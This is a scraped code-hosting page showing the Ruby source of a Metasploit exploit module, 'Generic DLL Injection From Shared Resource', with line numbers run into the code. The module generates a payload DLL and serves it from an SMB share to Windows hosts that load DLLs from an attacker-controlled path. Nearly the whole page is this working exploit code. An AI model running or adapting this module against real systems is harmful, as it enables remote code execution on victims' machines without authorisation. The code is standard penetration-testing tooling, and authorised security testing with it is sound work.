Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/smb/generic_smb_dll_injection.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78include Msf::Exploit::Remote::SMB::Server::Share9include Msf::Exploit::EXE1011def initialize(info={})12super(update_info(info,13'Name' => 'Generic DLL Injection From Shared Resource',14'Description' => %q{15This is a general-purpose module for exploiting conditions where a DLL can be loaded16from a specified SMB share. This module serves payloads as DLLs over an SMB service.17},18'Author' =>19[20'Matthew Hall <hallm[at]sec-1.com>'21],22'References' =>23[24['CWE', '114']25],26'DefaultOptions' =>27{28'EXITFUNC' => 'thread',29},30'Privileged' => false,31'Platform' => 'win',32'Arch' => [ARCH_X86, ARCH_X64],33'Payload' =>34{35'Space' => 2048,36'DisableNops' => true37},38'Targets' =>39[40[ 'Windows x86', { 'Arch' => ARCH_X86 } ],41[ 'Windows x64', { 'Arch' => ARCH_X64 } ]42],43'DefaultTarget' => 0,44'DisclosureDate' => '2015-03-04'45))4647register_options(48[49OptString.new('FILE_NAME', [ false, 'DLL File name to share (Default: random .dll)'])50])5152deregister_options('FILE_CONTENTS')53end5455def setup56super5758self.file_contents = generate_payload_dll59self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(4 + rand(3))}.dll"60print_status("File available on #{unc}...")61end62end636465